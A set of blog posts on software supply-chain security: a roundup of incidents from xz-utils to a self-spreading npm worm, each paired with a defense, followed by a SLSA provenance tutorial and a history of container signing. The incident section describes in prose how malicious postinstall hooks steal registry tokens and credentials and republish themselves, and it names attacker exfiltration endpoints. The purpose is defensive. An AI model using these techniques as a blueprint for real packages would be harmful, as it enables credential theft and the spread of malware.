01 SOURCE: xz-utils backdoor (2024-03-29)

CVE-2024-3094, CVSS 10.0. "Jia Tan" spent 2 years working their way into a maintainer slot on xz and, in the end, planted a backdoor only in the release tarballs, never in the Git tree. The trick: hiding the payload inside test fixtures so the sshd backdoor wired itself in only at build time. Andres Freund (a PostgreSQL core dev) caught it by accident, from valgrind noise.

What works here is commit signing plus reproducible builds, together. gitsign-style commit signing pins commits to a real OIDC identity. Reproducible builds let you check bit-for-bit equality between the tarball built from the Git tree and the official release tarball. Without the latter, the "plant it only in the tarball" trick from xz walks right through.

02 DEPS: Shai-Hulud npm worm (2025-09-14)

The first self-propagating worm on a public registry. The attacker phished npm maintainers with mail dressed up as "npm security alert" and grabbed their credentials. With the stolen npm tokens, they pushed malicious packages.

When a dev ran npm install and pulled one of those in, postinstall fired: it lifted local NPM_TOKEN / GH_TOKEN / ~/.pypirc, then injected the same malicious code into every package that dev owned and republished the lot. Every victim launched the next wave. No human in the loop, just lateral spread. By 2025-09-16 over 180 packages had been hit. On 2025-11-24 Shai-Hulud 2.0 turned up, dragging in nearly 800 packages (20 million weekly downloads combined).

What works: a hash-pinned lockfile plus SBOM diffing. Use npm ci (which fails when hashes don't match the lockfile) instead of npm install (which re-resolves), emit an SBOM every build, diff against the previous one. Code that's been silently swapped shows up as something foreign, not as an update. Turning postinstall off with --ignore-scripts is also worth wiring in as the CI default.

03 BUILD: tj-actions/changed-files (2025-03-14)

The one from the intro. The tag in uses: tj-actions/changed-files@v44 got moved to point at a malicious commit. 23,000 repos ran it for 15 hours, and CI secrets were base64-spilled into public logs. CVE-2025-30066.

What works: pin by commit SHA, plus SLSA Provenance.

- uses: tj-actions/changed-files@a284dc1aef0bee7  # full SHA, not @v44

A commit SHA can't move, so "quietly retag" attacks don't land. Layer SLSA Provenance on top and you get a signed attestation of which commit, which builder, which inputs, which environment produced the artifact. Consumers verify it with slsa-verifier verify-artifact.

04 PUBLISH: TeamPCP / LiteLLM (2026-03-24)

The PyPI package for LiteLLM (an LLM proxy doing 95 million downloads a month) got compromised. The path in is the clever part. The crew, TeamPCP, had already compromised Trivy (the vulnerability scanner) earlier on, and LiteLLM's CI pulled poisoned Trivy in through apt install trivy (no version pin). The poisoned Trivy then exfiltrated the runner's PYPI_PUBLISH token.

With the stolen token they pushed litellm 1.82.7 (10:39 UTC) and 1.82.8 (10:52 UTC). Those sat on PyPI for about 40 minutes before quarantine. Payload: credential stealer, lateral movement into Kubernetes, persistent backdoor. Stolen data POSTed to models.litellm.cloud (not the real domain).

What works: Sigstore plus Trusted Publisher (OIDC). Signing and publishing are bound to the GitHub Actions workflow run ID, so a stolen token can't publish from anywhere else.

$ cosign verify-blob litellm-1.82.8.tar.gz \
    --certificate-identity-regexp \
    'https://github.com/BerriAI/litellm/.github/workflows/publish.yml@.*' \
    --certificate-oidc-issuer https://token.actions.githubusercontent.com

And: pin every tool CI uses by SHA or version. Just refusing to run bare apt install foo would have shut the entry point for this one.

05 DISTRIBUTE: pgserve / CanisterSprawl (2026-04-21)

The maintainer account for pgserve (a PostgreSQL helper for Node.js) got compromised. Not typosquatting: the real, official package was shipped as a malicious version (StepSecurity tracks it as "CanisterSprawl"). First malicious version at 22:14 UTC, two more on the same day.

The postinstall hook, on every npm install, hoovered up everything in reach: NPM_TOKEN / GH_TOKEN / SSH keys / cloud credentials / Kubernetes config / Docker config, plus LLM-platform keys. It also republished every package the victim could publish to, spreading itself (same pattern as Shai-Hulud). If it landed Python-side credentials, a .pth-based payload pivoted onto PyPI as well. Unusual detail: alongside the regular webhook, stolen data was POSTed to an ICP (Internet Computer) canister, cjn37-uyaaa-aaaac-qgnva-cai.

What works: registry-side Sigstore Attestation verification plus postinstall off.

$ npm install pgserve --ignore-scripts
$ npm audit signatures
  -> attestation issuer != expected workflow
  -> install rejected

Since 2024, npm has been distributing Sigstore Attestations through the registry, and npm audit signatures checks at install time whether the package was signed by the expected GitHub workflow ID. With Trusted Publisher mandated, a stolen maintainer password alone doesn't let you publish. --ignore-scripts (postinstall off) sits on the damage-after-entry side, and is worth making the CI default.

06 CONSUME: SUNSPOT / SolarWinds (2020-12-13)

Older, but it anchors the shape of the problem. Attackers got onto the build server for SolarWinds Orion and planted a tool (SUNSPOT) that swapped sources only at the moment of build. The resulting binary went through the legitimate pipeline, signed with the legitimate key, and shipped via auto-update to thousands of customers. The payload was the SUNBURST malware. FireEye disclosed on 2020-12-13.

This happens even with a perfectly legitimate signature attached. What works: cosign verify plus admission policy plus VEX. Not "signed by someone somewhere" but "signed by the expected OIDC subject (e.g. our specific workflow)", enforced at admission time by a Kubernetes admission controller (Kyverno or similar).

apiVersion: kyverno.io/v1
kind: ClusterPolicy
spec.rules[0].verifyImages:
  imageReferences: ['*']
  attestors[0].entries[0].keyless.subject:
    'https://github.com/me/repo/.github/workflows/ci.yml@*'

A single mapping table

#	Stage	Incident	Effective defense
01	source	xz-utils backdoor	gitsign + reproducible builds
02	deps	Shai-Hulud worm	npm ci + SBOM diff + --ignore-scripts
03	build	tj-actions/changed-files	SHA pin + SLSA Provenance
04	publish	TeamPCP / LiteLLM	Sigstore + Trusted Publisher (OIDC)
05	distribute	pgserve / CanisterSprawl	npm audit signatures + --ignore-scripts
06	consume	SUNSPOT / SolarWinds	cosign + Kyverno admission policy

Attackers win by breaking any one of the six. Defenders need a separate layer at every one, or they lose somewhere.

Try it

https://0-draft.github.io/chainscope

space to advance, ← to go back, r to restart. 22 slides, one lap in 5 minutes.

Got an incident I should add, or a difference I called wrong? File on GitHub Issues or drop a comment.

References

SLSA Provenance Hands-on: Generate with GitHub Actions, Verify with slsa-verifier

kt — Wed, 29 Apr 2026 07:38:30 +0000

Introduction

I wrote Supply Chain Security: A Deep Dive into SBOM and Code Signing earlier. That post pinned down "what's in it" via SBOM and "who signed it" via Cosign.

But even with both of those, there's still a hole.

SolarWinds' SUNSPOT was malware that lived on the build server, swapped the source code the moment a build started, and put it back when the build finished. The resulting binaries were signed with the legitimate certificate. Signatures: perfect. SBOMs: clean. And the world still got a backdoor distributed to it.

Why? Signatures only prove "I signed this with this key." SBOMs only describe "what was in the artifact at build time." Nobody was verifying "was this really built from the right source, on an unaltered builder, following the steps it claims?"

The thing that closes that hole is Provenance. SLSA (Supply-chain Levels for Software Artifacts) is a framework built around provenance, treating "from where (source), how (build), by what (builder)" as verifiable metadata.

I covered the spec in SLSA Deep Dive. This is the follow-up: actually generating SLSA L3 provenance and verifying it on real machines.

What we're doing:

Verify a public slsa-verifier v2.7.1 release using its bundled provenance (and demonstrate tampering detection)
Plug slsa-github-generator into a Go project so that pushing a tag automatically emits SLSA L3 provenance
Read the JSON inside and understand exactly what is being attested

Before you read on

Provenance / Attestation / in-toto / DSSE

The terminology is slippery, so let's pin it down first.

in-toto Statement: a JSON structure that says "for this subject (the artifact), I am stating this predicate (the claim)"
Attestation: an in-toto Statement plus a signature. Any "signed claim about an artifact"
Provenance: an attestation that specifically describes "how it was built" (predicateType: https://slsa.dev/provenance/v1)
DSSE (Dead Simple Signing Envelope): an envelope format for signed JSON. The payload is base64-wrapped on the inside, and the signature wraps the outside

So a SLSA Provenance is "an in-toto Statement whose predicate matches the SLSA spec, signed inside a DSSE envelope."

SLSA Build Level cheat sheet

Just enough to keep us oriented. For the threat model, see SLSA Deep Dive.

Level	What it guarantees	Threats it stops
L1	Provenance exists	Almost nothing (essentially documentation)
L2	Provenance is signed	Detects tampering during distribution
L3	Generated by a tamper-resistant build platform	Stops everything short of builder compromise

slsa-github-generator, the implementation we use here, is one of the few that actually clears L3. By leaning on GitHub's OIDC tokens and reusable workflows, it is structured so that user code cannot reach the builder's internal state.

Why "reusable workflows" are the key to L3

A GitHub Actions uses: org/repo/.github/workflows/foo.yml@vX runs in a separate process, separate shell, separate filesystem from the caller. So whatever the calling repo's owner puts in their YAML, they cannot touch the signing keys or OIDC tokens that the builder workflow handles.

That structurally satisfies SLSA L3's requirement: "separate user-defined build steps (data plane) from the provenance generation logic (control plane)."

The user just calls in via uses:. They never touch the provenance assembly. That structural split is the heart of L3.

1. Verify a public artifact

Theory only goes so far. Let's verify a real provenance on your machine first. Subject of choice: the slsa-verifier release itself. Since slsa-verifier is built with slsa-github-generator, every release ships with .intoto.jsonl alongside the binary.

Required tools

# macOS
brew install slsa-verifier jq

# version check
slsa-verifier version
# slsa-verifier: Verify SLSA provenance for Github Actions
# GitVersion:    2.7.1
# GitCommit:     Homebrew
# GitTreeState:  clean
# BuildDate:     2025-06-25T21:09:44Z
# GoVersion:     go1.25.5
# Compiler:      gc
# Platform:      darwin/arm64

Step 1: Download the artifact and its provenance

A one-shot script that runs everything in this section lives at hello-slsa/verify-real-artifact/run.sh. If you just want to see the flow, clone the repo and run ./run.sh.

mkdir slsa-hands-on && cd slsa-hands-on

# the artifact itself
curl -sLO https://github.com/slsa-framework/slsa-verifier/releases/download/v2.7.1/slsa-verifier-darwin-arm64

# its provenance (in-toto Statement, wrapped in a DSSE envelope)
curl -sLO https://github.com/slsa-framework/slsa-verifier/releases/download/v2.7.1/slsa-verifier-darwin-arm64.intoto.jsonl

ls -la
# -rw-r--r-- 1 user staff   32M slsa-verifier-darwin-arm64
# -rw-r--r-- 1 user staff  17K slsa-verifier-darwin-arm64.intoto.jsonl

Step 2: Verification command

slsa-verifier verify-artifact slsa-verifier-darwin-arm64 \
  --provenance-path slsa-verifier-darwin-arm64.intoto.jsonl \
  --source-uri github.com/slsa-framework/slsa-verifier \
  --source-tag v2.7.1

Output:

Verified signature against tlog entry index 253498016 at URL: https://rekor.sigstore.dev/api/v1/log/entries/108e9186e8c5677a2ae86cf78d97874465b3150b3a30474f101c0ca4f916e78cd89ab8dcf6f2c927
Verified build using builder "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@refs/tags/v2.0.0" at commit ea584f4502babc6f60d9bc799dbbb13c1caa9ee6
Verifying artifact slsa-verifier-darwin-arm64: PASSED

PASSED: SLSA verification passed

Let's unpack what just happened.

Two things to notice.

No keys on your machine. The verifier reaches Rekor (transparency log) and Fulcio (CA) to validate the certificate chain that was used at signing time. Same mechanism as Cosign keyless signing.
--source-uri and --source-tag are inputs you provide. "I want to trust this binary as coming from this repo at this tag" is a human-driven assertion, and it gets checked against what the provenance actually says.

To see what happens when the assertion is wrong, point --source-tag at a different tag.

slsa-verifier verify-artifact slsa-verifier-darwin-arm64 \
  --provenance-path slsa-verifier-darwin-arm64.intoto.jsonl \
  --source-uri github.com/slsa-framework/slsa-verifier \
  --source-tag v2.7.0      # ← wrong tag

# FAILED: SLSA verification failed:
#   expected tag 'v2.7.0', got 'v2.7.1':
#   tag used to generate the binary does not match provenance

Step 3: Detect tampering

Mutate the artifact by a single byte and try again.

echo "broken" >> slsa-verifier-darwin-arm64

slsa-verifier verify-artifact slsa-verifier-darwin-arm64 \
  --provenance-path slsa-verifier-darwin-arm64.intoto.jsonl \
  --source-uri github.com/slsa-framework/slsa-verifier \
  --source-tag v2.7.1

# FAILED: SLSA verification failed:
#   expected hash '424efd44128c51af49affd87bd3f0476eaab0a3e77ed1fee0ca7186c569b5388' not found:
#   artifact hash does not match provenance subject

The hash mismatch fails immediately. SUNSPOT-style attacks ("swap the binary after the build finishes") die right here.

Step 4: Look inside the provenance

.intoto.jsonl is a DSSE envelope; the payload is base64-encoded JSON. Pry it open with jq.

cat slsa-verifier-darwin-arm64.intoto.jsonl \
  | jq -r '.payload' \
  | base64 -d \
  | jq '{_type, predicateType, subject, predicate: {builder: .predicate.builder, buildType: .predicate.buildType, configSource: .predicate.invocation.configSource}}'

Trimmed output:

{
  "_type": "https://in-toto.io/Statement/v0.1",
  "predicateType": "https://slsa.dev/provenance/v0.2",
  "subject": [
    {
      "name": "slsa-verifier-darwin-arm64",
      "digest": {
        "sha256": "39abfcf5f1d690c3e889ce3d2d6a8b87711424d83368511868d414e8f8bcb05c"
      }
    }
  ],
  "predicate": {
    "builder": {
      "id": "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@refs/tags/v2.0.0"
    },
    "buildType": "https://github.com/slsa-framework/slsa-github-generator/go@v1",
    "configSource": {
      "uri": "git+https://github.com/slsa-framework/slsa-verifier@refs/tags/v2.7.1",
      "digest": {
        "sha1": "ea584f4502babc6f60d9bc799dbbb13c1caa9ee6"
      },
      "entryPoint": ".github/workflows/release.yml"
    }
  }
}

What each field means:

subject: "this provenance is making a statement about this binary." If the name and SHA256 don't match the artifact, verification fails.
predicate.builder.id: who built it (which reusable workflow). The tag is included, so the builder version itself is pinned.
predicate.buildType: build kind (Go binary, container, etc.).
predicate.invocation.configSource: source repo plus the GitHub Actions workflow file that drove the build. digest.sha1 pins the commit, so even an attack that rewrites the contents of the v2.7.1 tag after the fact does not slip through.

The environment block has an even finer fingerprint of where the build ran.

cat slsa-verifier-darwin-arm64.intoto.jsonl | jq -r '.payload' | base64 -d \
  | jq '.predicate.invocation.environment | {github_event_name, github_ref, github_repository_owner, github_run_id, github_sha1, os}'

{
  "github_event_name": "push",
  "github_ref": "refs/tags/v2.7.1",
  "github_repository_owner": "slsa-framework",
  "github_run_id": "15930257685",
  "github_sha1": "ea584f4502babc6f60d9bc799dbbb13c1caa9ee6",
  "os": "ubuntu24"
}

which GitHub event (push) fired the workflow
which repo, owned by whom
which GitHub Actions run id (this number is permanent)
which OS image it ran on

With this much retained, "did a binary born from tag v2.7.1 actually come out of a GitHub-hosted runner running the legitimate workflow?" is fully reconstructable after the fact.

Step 5: Look at `materials`

materials is "the list of build inputs": source code and the builder environment, side by side.

cat slsa-verifier-darwin-arm64.intoto.jsonl | jq -r '.payload' | base64 -d \
  | jq '.predicate.materials'

[
  {
    "uri": "git+https://github.com/slsa-framework/slsa-verifier@refs/tags/v2.7.1",
    "digest": { "sha1": "ea584f4502babc6f60d9bc799dbbb13c1caa9ee6" }
  },
  {
    "uri": "https://github.com/actions/virtual-environments/releases/tag/ubuntu24/20250622.1.0"
  }
]

Combine this with the SBOM and the chain "source → builder → artifact → internal components" becomes verifiable end to end.

2. Issue SLSA L3 Provenance from your own repo

Verification works. Now flip to the producer side: build a Go hello-world and bolt slsa-github-generator onto it.

The finished version lives at github.com/0-draft/hello-slsa. Type along by hand or git clone, whichever you prefer.

Project layout

hello-slsa/
├── main.go
├── go.mod
├── .slsa-goreleaser.yml          # builder configuration
└── .github/
    └── workflows/
        └── release.yml            # release on tag push

Minimal code

main.go:

package main

import (
    "fmt"
    "runtime"
)

const Version = "0.1.0"

func main() {
    fmt.Printf("hello-slsa %s (%s/%s)\n", Version, runtime.GOOS, runtime.GOARCH)
}

go.mod:

module github.com/0-draft/hello-slsa

go 1.26

`.slsa-goreleaser.yml`: the builder's configuration

The slsa-github-generator Go builder reads a goreleaser-compatible YAML. Nothing fancy.

version: 1

env:
  - GO111MODULE=on
  - CGO_ENABLED=0

flags:
  - -trimpath

ldflags:
  - "-X main.Version={{ .Env.VERSION }}"
  - "-s -w"

goos: linux
goarch: amd64

binary: hello-slsa-{{ .Os }}-{{ .Arch }}

-trimpath and CGO_ENABLED=0 are reproducibility incantations. The next post on Reproducible Builds digs into why these matter.

`.github/workflows/release.yml`: the caller

This is the heart of it. uses: calls the slsa-github-generator reusable workflow.

name: Release with SLSA L3 Provenance

on:
  push:
    tags:
      - "v*"

permissions: read-all

jobs:
  build:
    permissions:
      id-token: write    # required to mint OIDC tokens
      contents: write    # required to upload assets to the GitHub Release
      actions: read      # required to read workflow run metadata
    uses: slsa-framework/slsa-github-generator/.github/workflows/builder_go_slsa3.yml@v2.1.0
    with:
      go-version: "1.26"
      config-file: .slsa-goreleaser.yml
      evaluated-envs: "VERSION:${{ github.ref_name }}"
      upload-assets: true

  verify:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: slsa-framework/slsa-verifier/actions/installer@v2.7.1
      - uses: actions/download-artifact@v8
        with:
          name: ${{ needs.build.outputs.go-binary-name }}
      - uses: actions/download-artifact@v8
        with:
          name: ${{ needs.build.outputs.go-provenance-name }}
      - run: |
          slsa-verifier verify-artifact \
            "${{ needs.build.outputs.go-binary-name }}" \
            --provenance-path "${{ needs.build.outputs.go-provenance-name }}" \
            --source-uri "github.com/${{ github.repository }}" \
            --source-tag "${{ github.ref_name }}"

About the permissions:

id-token: write: lets GitHub mint an OIDC ID token. That token is exchanged at Fulcio for a short-lived certificate, which signs the provenance.
contents: write: needed when upload-assets: true to upload Release assets.
actions: read: needed to read the workflow's own metadata (run id, sha, ref).

What happens when this fires:

The build job only compiles the user's code; it never participates in assembling or signing the provenance. Because builder_go_slsa3.yml runs as a separate workflow, no matter how dirty your user code is, it cannot reach the signing key. That's the L3 separation.

Local check

Before pushing the tag, run the build locally to see it work.

git clone https://github.com/0-draft/hello-slsa
cd hello-slsa

go build -trimpath -ldflags "-s -w" -o hello-slsa .
./hello-slsa
# hello-slsa 0.1.0 (darwin/arm64)

shasum -a 256 hello-slsa
# 3258c85472175bdbfe0ef450402265ca118ed0c97a1ab4e8b96b5704e2f9a1d6  hello-slsa

When the same build runs in CI, that SHA256 is what ends up in subject.digest.sha256 of the provenance, and .intoto.jsonl is uploaded alongside the binary. The hash will differ across environments and toolchains; the point is that the value you computed locally matches the value in the provenance subject.

[!NOTE]
id-token: write requires OIDC to be enabled on the repo. On github.com it is on by default. On GitHub Enterprise Server you have to configure it separately.

3. What can the verifier actually trust?

Provenance flows out the producer side. Back on the consumer side, what does slsa-verifier verify-artifact actually confirm?

What it can do: cryptographically prove "the binary at tag v2.7.1 really did come out of the legitimate GitHub Actions builder." SUNSPOT-style attacks (tampering during the build) and Codecov-style attacks (uploading without going through the build) stop here.

What it cannot do: if the source itself contains malicious changes, the provenance faithfully signs "we correctly took this malicious code as input." That needs a different layer: SLSA Source Track, four-eyes review, and so on.

In other words, provenance is the layer that detects build-path tampering but cannot detect human malice. Combine it with SBOM (transparency about contents) and Cosign (identity of the author), and only then do you get layered defense.

4. Layering SBOM + Cosign + Provenance

Final picture: lay all three side by side.

What it proves	Tool	predicateType
Ingredients (contents)	Syft + cosign attest	`https://cyclonedx.org/bom`
Identity (author)	cosign sign	(the signature itself, not a Statement)
Build path	slsa-github-generator	`https://slsa.dev/provenance/v1`

Once "build path + contents + author" are all in place, the artifact has all-around evidence. If the Kubernetes admission layer can enforce reject unless provenance, SBOM, and signature are all present, the operator's trust boundary firms up considerably.

Wrap-up

What we did	What we learned
Verified a public artifact with `slsa-verifier`	How to verify provenance without holding any keys
Mutated a single byte and watched verification fail	The point at which SUNSPOT-style attacks die
Opened `.intoto.jsonl` with `jq`	What is actually recorded inside the provenance
Wrote a `slsa-github-generator` workflow	The "way to call in" that satisfies L3

Provenance, unlike SBOM or Cosign, isn't something you can produce locally with a one-shot CLI. The builder itself has to be running in a place you trust, which is why something like a GitHub Actions reusable workflow (with its structural separation) is non-negotiable. The flip side: if you have that environment, a single line of uses: carries you all the way to L3.

The next post moves to the operational headache that always shows up once SBOMs hit production: "the vulnerability scanner threw 800 warnings, but only 5 are actually exploitable." We pin that down with VEX. Where provenance is "authenticity of the build path", VEX is "authenticity of vulnerability triage."

References

0-draft/hello-slsa (the hands-on repo for this article)
slsa-framework/slsa-github-generator
slsa-framework/slsa-verifier
SLSA v1.0 Provenance spec
in-toto Attestation Framework
DSSE (Dead Simple Signing Envelope)

Why Did Docker Abandon TUF?: A Turbulent History of Container Signing

kt — Tue, 28 Apr 2026 11:34:24 +0000

Introduction

While doing a deep dive on Sigstore and TUF, a question hit me out of nowhere.

"OK, but how exactly are container images protected from tampering?"

If you understand TUF, you'd guess: "You write the container image hash into targets.json, sign it with an offline key, done." And in 2015, that's exactly how it worked.

But today, that mental model is completely outdated.

The container signing architecture in the Docker world has gone through a turbulent decade: "They tried to do it the TUF way, developers refused to play along, the whole thing imploded, and the industry pivoted to a totally different approach." And that "different approach" turned out to be two competing approaches released around the same time, both fighting for dominance. Trying to keep up with this is exhausting.

Background: What "Signing a Container Image" Actually Means

Before diving into history, we need to nail down what "signing a container image" actually does. If this is fuzzy, the rest of the story will be too.

Structure of a Container Image

A container image is not just a tar file. A JSON file called the Manifest holds the hashes (digests) of each layer (filesystem diff) and config file that make up the image.

┌───────────────────────────────────────┐
│  Image Manifest (JSON)                │
│                                       │
│   config:  sha256:abc123...           │
│   layers:                             │
│     - sha256:def456... (base OS)      │
│     - sha256:789ghi... (app code)     │
│                                       │
│  ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─│
│  Manifest's own Digest:               │
│    sha256:xxxxxx...                   │
│  → This is the "image fingerprint"    │
└───────────────────────────────────────┘

If even 1 bit of the image content changes, the Manifest's Digest changes completely. If we can guarantee just this Digest is correct, we can detect any tampering of the entire image.

"Signing" = Detached signature on the Digest

The intuitive idea is "embed the signature data inside the image," but that's impossible. If you change the image to insert a signature, the Digest changes, and the signature becomes invalid. Chicken-and-egg problem.

So container signatures are always Detached Signatures. Sign the Manifest's Digest from outside, and store the signature somewhere separate from the image itself.

So where is "somewhere separate"? This is the question that has been violently re-litigated for ten years.

Timeline: A Decade of Container Signing

Let's lay out the full picture first. Each entry will be expanded in later sections.

Year	Event
2015.08	Docker Content Trust (DCT) released with Docker Engine 1.8. Notary v1, running underneath, is a pure TUF implementation. Signatures stored on a separate Notary server, not the registry.
2017.10	CNCF accepts Notary and TUF as Incubating projects.
2019.11	Notary v2 discussions kick off at KubeCon NA (San Diego). The following month, a kickoff meeting is held at Amazon's Seattle office with Docker, Microsoft, Amazon, Google, Red Hat, etc.
2021.06	Sigstore holds its first Root Key Ceremony (6/18). TUF is used only for "distributing root certificates."
2023.08	Notary v2 (Notation) v1.0.0 released (8/15). TUF completely dropped. Same month, Harbor 2.9.0 fully removes Notary v1 (deprecation began in 2.6.0).
2024.02	OCI Image/Distribution Specification v1.1.0 officially released. Referrers API standardized, formalizing in-registry signature storage.
2025.03	Azure Container Registry begins DCT deprecation (full removal scheduled for 2028.03).
2025.08	Docker Official Images' DCT signing certificate expires (8/8). `DOCKER_CONTENT_TRUST=1` pulls start failing. DCT is effectively dead. Usage was less than 0.05% of all pulls.

Generation One: Notary v1 (Going All-In on TUF, 2015〜2025)

Architecture: A TUF Server "Next To" the Registry

In August 2015, Docker released Docker Content Trust (DCT). Setting DOCKER_CONTENT_TRUST=1 makes docker push automatically sign images and docker pull automatically verify them.

Underneath was Notary v1. It was a textbook TUF implementation: a Notary server running at a separate URL from Docker Hub, holding the full set of TUF metadata. Quick recap of the four roles:

Role	File	Purpose	Key location
🏛️ Root	`root.json`	Anchor of trust. Declares public keys for the other 3 roles.	Offline (in a vault)
🎯 Targets	`targets.json`	Records and signs the digests of images you want to protect.	Offline
📸 Snapshot	`snapshot.json`	Guarantees consistency across metadata (prevents mix-and-match).	Online
⏱️ Timestamp	`timestamp.json`	Freshness guarantee (prevents replay). Short expiration.	Online

An "offline key" is a key kept on an air-gapped machine or in a physical vault; an "online key" is one that lives on a server for automated updates. Keeping the Targets key offline is the foundation of TUF's security model. This is exactly where things later explode.

Push Flow

The CLI computes the Manifest's Digest, signs an updated targets.json with the local Targets key, and uploads it. Step ② is an internal "use the key" operation (dotted line), not a network transfer.

Pull Verification Flow

Walk Root → Timestamp → Snapshot → Targets, then compare the actual image's Digest from the registry against the record in targets.json. All four TUF roles in full motion: a spec-faithful architecture.

Why It Imploded

A theoretically correct architecture collapsed completely in practice.

1. It forced developers to manage signing keys

Every docker push prompted for the local Targets key passphrase. Maybe tolerable for solo developers, but for the modern "automate the push from CI/CD" workflow, this was fatal.

To wire it into CI, you had to put the Targets key (which was supposed to live offline in a vault) into the CI's secret store. "Putting the offline key online": a contradiction. This breaks the foundation of TUF's security model.

2. Lose the key = repository death

If you lose the Targets key, you can never sign images for that repository again. Key rotation must follow the TUF spec exactly, and the handoff overhead in team development was a nightmare.

3. Mismatch with the reality of distributed registries

This was the deepest structural problem. Container images don't deploy only to Docker Hub. AWS ECR, GCP Artifact Registry, Azure Container Registry, GitHub Container Registry, internal Harbor instances... registries are scattered everywhere.

In the Notary v1 model, every registry needed its own Notary server. Copy an image between registries, and the signature doesn't follow. The industry looked at that operational cost and said "no."

The Death of DCT: The Numbers Tell the Story

In the end, fewer than 0.05% of all Docker Hub pulls had DCT enabled.

On August 8, 2025, the oldest DCT signing certificates for Docker Official Images (nginx, ubuntu, etc.) expired. Users with DOCKER_CONTENT_TRUST=1 could no longer pull even the official images. Docker's response: "Please disable the DOCKER_CONTENT_TRUST environment variable." DCT quietly died.

Azure Container Registry began DCT deprecation in March 2025, with full removal scheduled for March 2028. Harbor moved earlier, fully removing Notary v1 in v2.9.0 back in 2023.

Generation Two: The OCI Registry-Native Era (2023〜present)

The Pivot: Put Signatures "Inside the Registry"

What the industry learned from Notary v1's failure: "Standing up a separate server just for signing doesn't work operationally."

The answer: store signature data directly in the same OCI registry as the image, as another OCI artifact (a blob conforming to the OCI spec). No extra registry to run. Copy the image between registries, and the signature comes along.

The OCI Distribution Specification v1.1.0, released in February 2024, formally standardized this approach. It introduced the Referrers API (GET /v2/<name>/referrers/<digest>), letting clients list all related artifacts (signatures, SBOMs, vulnerability scan results) attached to a given image's Digest.

Each artifact (signature, SBOM, etc.) points back to the parent image via a subject field. Verifier tools call the Referrers API to enumerate them and pick what they need to verify. No separate Notary server required.

Note: in production you usually pick either Cosign or Notation, not both (drawing them side-by-side just shows that both ride on the same spec). On top of this foundation, two signing projects are now competing for dominance.

Sigstore (cosign): The "Selective Bite" of TUF

Sigstore made a clean call. Stop using TUF's targets.json to manage image hashes. But don't throw TUF away entirely.

Sigstore uses TUF in exactly one place: safely distributing the root certificate of Fulcio (the signing CA) and the public key of Rekor (the transparency log) to clients. The first time you run cosign, a TUF client behind the scenes walks root.json → timestamp.json → snapshot.json → targets.json to fetch the certificates and public keys you should trust.

The heavy use case TUF was originally built for, "managing hashes of hundreds of thousands of packages," was abandoned. Sigstore kept only the lightweight role TUF excels at: "safely distributing root certificates."

Sigstore also gave a fundamental answer to the "key management is unbearable" problem that killed Notary v1: don't make developers hold private keys at all (keyless signing).

You authenticate via an OIDC (OpenID Connect, the standard protocol for ID token issuance) provider (GitHub, Google, etc.), Fulcio issues a short-lived certificate that expires in 10 minutes, and you sign with that certificate. The fact of signing is permanently recorded in Rekor's transparency log. The private key exists for a few seconds in memory and disappears. There is no key to manage in the first place.

The revolutionary move: abandon the very idea of "protect the key" and replace it with "sign with a short-lived key, and leave only the signing trace in a public log forever."

Notary v2 (Notation): Total Abandonment of TUF

The next-generation Notary project, led by Docker and Microsoft. v1.0.0 released in August 2023. Active development continues as a CNCF Incubating project.

Notary v2 completely dropped the TUF specification. The four-role structure of Root, Targets, Snapshot, Timestamp is not used at all. Instead, it builds trust on X.509 certificate chains (the same mechanism as HTTPS certificates: trust propagates hierarchically from CA to intermediate CA to leaf certificate), a mechanism battle-tested for decades on the Web.

The mechanics are identical to SSL/TLS certificate verification. Signers hold X.509 certificates issued by a Certificate Authority (CA). Verifiers maintain a trust store (a list of CAs they trust) and walk the certificate chain attached to the signature to decide whether to trust it. TUF's complex chain of metadata is replaced with existing PKI infrastructure.

You don't need to hold keys locally. Plugins connect to cloud KMS services like AWS Signer, Azure Key Vault, or HashiCorp Vault, delegating the signing operation. It also integrates with Kubernetes admission controllers (Ratify, Kyverno) so signature verification can be wired into deployment gates.

Comparing the Three Approaches

	Notary v1 (DCT)	Sigstore (cosign)	Notary v2 (Notation)
Use of TUF	Full implementation (4 roles)	Root certificate distribution only	Not used
Signature storage	Notary server (separate infra)	Inside OCI registry	Inside OCI registry
Key management	Developer manages locally	None (keyless signing)	Delegated to cloud KMS
Trust model	TUF Root of Trust	TUF + transparency log (Rekor)	X.509 certificate chain
CI/CD fit	❌ Requires passphrase entry	✅ Fully automated via OIDC	✅ Automated via KMS plugin
Status (2026)	❌ Archived	✅ Adopted by npm, PyPI, Maven	✅ CNCF Incubating

Sidebar: Why Does TUF Work for PyPI?

If you've read this far, this question should be nagging you.

Notary v1 imploded over "key management is too hard." So how does Python's PyPI, which hosts over 500,000 packages, manage to make TUF (PEP 458) actually work?

The answer comes down to two structural differences.

1. Developers don't sign anything

PyPI's TUF deployment (PEP 458) is designed to protect the channel between the PyPI servers and the pip command. Developers just upload packages to PyPI as before. PyPI's backend automatically computes hashes and signs targets.json using PyPI's own online keys.

Developers don't even need to know TUF exists. This is the polar opposite of Notary v1, which forced developers to hold TUF's offline keys.

2. Centralized vs. distributed

Python packages all converge on a single central server: pypi.org. Run one TUF server, and you cover all 500,000 packages.

Container image registries, by contrast, are distributed across many places: Docker Hub, ECR, GCR, ACR, Harbor... Notary v1 required a TUF server per registry, and operational costs exploded.

	PyPI	Container ecosystem
Registry	One: `pypi.org`	Docker Hub, ECR, GCR, ACR, Harbor...
Who manages TUF	PyPI server (automatic)	Developers themselves (Notary v1)
Result	✅ Developers don't see TUF	❌ Developers burned out on key management

PyPI also spent years exploring "end-to-end signing by developers themselves" as PEP 480. But ultimately it gave up on forcing TUF-based key management onto developers and pivoted to Trusted Publishers (launched April 2023) using GitHub Actions OIDC. This is the same "OIDC + short-lived tokens" approach as Sigstore.

Docker, PyPI, npm: they all converged on the same conclusion. "Making developers manage private keys does not work." Notary v1's death is a lesson the entire industry has internalized.

Conclusion

"How do you protect the hash of a container image with TUF's Targets?"

In the old days, you protected it with targets.json (Notary v1). But in a distributed container ecosystem, the model that asks developers to manage offline keys completely fell apart. Today, instead of managing the image Digest directly with TUF, signatures are stored directly in the OCI registry (Sigstore / Notary v2).

Security that nobody uses is not security. The decade of Notary v1 proved that.

References

SLSA Deep Dive: Securing the Supply Chain Using Verifiable Levels

